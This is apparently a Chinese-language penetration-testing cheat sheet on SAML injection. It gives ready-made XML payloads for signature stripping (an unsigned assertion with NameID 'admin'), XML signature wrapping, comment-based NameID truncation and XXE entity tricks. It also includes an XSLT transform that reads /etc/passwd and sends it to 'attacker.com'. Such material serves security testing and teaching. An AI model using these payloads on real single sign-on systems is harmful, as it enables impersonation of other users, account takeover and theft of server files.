SAML 注入 (SAML Injection)
SAML (安全断言标记语言) 是一种用于在参与方(特别是身份提供者 IdP 和服务提供者 SP)之间交换身份验证和授权数据的开放标准。虽然 SAML 被广泛用于促进单点登录 (SSO) 和其他联邦身份验证场景,但实现不当或配置错误可能使系统暴露于各种漏洞之下。
摘要 (Summary)
工具 (Tools)
- CompassSecurity/SAMLRaider - SAML2 Burp 扩展插件。
- d0ge/XSW - XML 签名包装攻击 (XSW) Burp Suite 扩展插件。
- ZAP Addon/SAML Support - 允许检测、显示、编辑和模糊测试 (Fuzz) SAML 请求。
方法论 (Methodology)
一个完整的 SAML 响应应当包含 <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"。
无效签名 (Invalid Signature)
未由真实 CA 签名的签名容易被克隆。请确保签名由真实的 CA 签名。如果是自签名证书,你可能会克隆该证书或创建自己的自签名证书来替换它。
签名剥离 (Signature Stripping)
[...] 接受未签名的 SAML 断言就像是在接受一个没有检查密码的用户名 - @ilektrojohn
目标是伪造一个格式正确但未进行签名的 SAML 断言 (Assertion)。在某些默认配置下,如果从 SAML 响应中省略了签名部分,则不会执行签名验证。
NameID=admin 且未带签名的 SAML 断言示例。
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">已打码</saml2:Issuer>
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">已打码</saml2:Issuer>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>WLS_SP</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
</saml2:Assertion>
</saml2p:Response>
XML 签名包装攻击 (XML Signature Wrapping Attacks)
XML 签名包装 (XSW) 攻击:某些实现会检查有效签名并将其与有效断言匹配,但不检查是否存在多个断言、多个签名,或者其行为会根据断言的顺序而有所不同。
- XSW1:适用于 SAML 响应消息。在现有签名后添加一个克隆的未签名响应副本。
- XSW2:适用于 SAML 响应消息。在现有签名之前添加一个克隆的未签名响应副本。
- XSW3:适用于 SAML 断言消息。在现有断言之前添加一个克隆的未签名断言副本。
- XSW4:适用于 SAML 断言消息。在现有断言内部添加一个克隆的未签名断言副本。
- XSW5:适用于 SAML 断言消息。修改已签名断言副本中的一个值,并在 SAML 消息末尾添加一个移除了签名的原始断言副本。
- XSW6:适用于 SAML 断言消息。修改已签名断言副本中的一个值,并在原始签名后添加一个移除了签名的原始断言副本。
- XSW7:适用于 SAML 断言消息。添加一个带有克隆的未签名断言的 “Extensions” 块。
- XSW8:适用于 SAML 断言消息。添加一个 “Object” 块,其中包含移除了签名的原始断言副本。
在以下示例中,使用了这些术语:
- FA:伪造断言 (Forged Assertion)
- LA:合法断言 (Legitimate Assertion)
- LAS:合法断言的签名 (Signature of the Legitimate Assertion)
<SAMLResponse>
<FA ID="evil">
<Subject>攻击者 (Attacker)</Subject>
</FA>
<LA ID="legitimate">
<Subject>合法用户 (Legitimate User)</Subject>
<LAS>
<Reference Reference URI="legitimate">
</Reference>
</LAS>
</LA>
</SAMLResponse>
在 GitHub Enterprise 漏洞中,即使 FA 未签名,此请求也会通过验证并为 Attacker 创建会话,而不是为 Legitimate User 创建。
XML 注释处理 (XML Comment Handling)
已经在 SSO 系统中获得身份验证访问权限的威胁行为者可以在没有该个人 SSO 密码的情况下冒充另一名用户。该漏洞在以下库和产品中具有多个 CVE 编号。
- OneLogin - python-saml - CVE-2017-11427
- OneLogin - ruby-saml - CVE-2017-11428
- Clever - saml2-js - CVE-2017-11429
- OneLogin - OmniAuth-SAML - CVE-2017-11430
- Shibboleth - CVE-2018-0489
- Duo Network Gateway - CVE-2018-7340
研究人员注意到,如果攻击者在用户名地段内插入注释并以此破坏用户名,攻击者可能会获得合法用户的账户访问权限。
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
其中 user@user.com 是用户名的第一部分,而 .evil.com 是第二部分。
XML 外部实体 (XML External Entity - XXE)
另一种利用方式是使用 XML 实体 来绕过签名验证,因为除了在 XML 解析期间外,内容不会改变。
在以下示例中:
&s;将解析为字符串"s"&f1;将解析为字符串"f1"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
SAML 响应被服务提供者接受。由于该漏洞,服务提供者应用程序报告 "taf" 为 "uid" 属性的值。
可扩展样式表语言转换 (Extensible Stylesheet Language Transformation - XSLT)
XSLT 可以通过使用 transform 元素来执行。
图片来自 http://sso-attacks.org/XSLT_Attack
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
参考资料 (References)
- 攻击单点登录 (SSO):常见的 SAML 漏洞及发现方法 - Jem Jensen - 2017年3月7日
- 如何挖掘 SAML 漏洞:方法论(第一部分) - Ben Risher (@epi052) - 2019年3月7日
- 如何挖掘 SAML 漏洞:方法论(第二部分) - Ben Risher (@epi052) - 2019年3月13日
- 如何挖掘 SAML 漏洞:方法论(第三部分) - Ben Risher (@epi052) - 2019年3月16日
- 关于破解 SAML:想成为谁就成为谁 - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen - 2012年8月23日
- Oracle Weblogic - 多个 SAML 漏洞 (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - 2018年7月18日
- SAML Burp 扩展插件 - Roland Bischofberger - 2015年7月24日
- SAML 安全速查表 - OWASP - 2019年2月2日
- 通往代码库的道路铺满了伪造的断言 - Ioannis Kakavas (@ilektrojohn) - 2017年3月13日
- Shibboleth 2 中 SAML 属性的截断 - redteam-pentesting.de - 2018年1月15日
- 漏洞说明 VU#475445 - Garret Wassermann - 2018年2月27日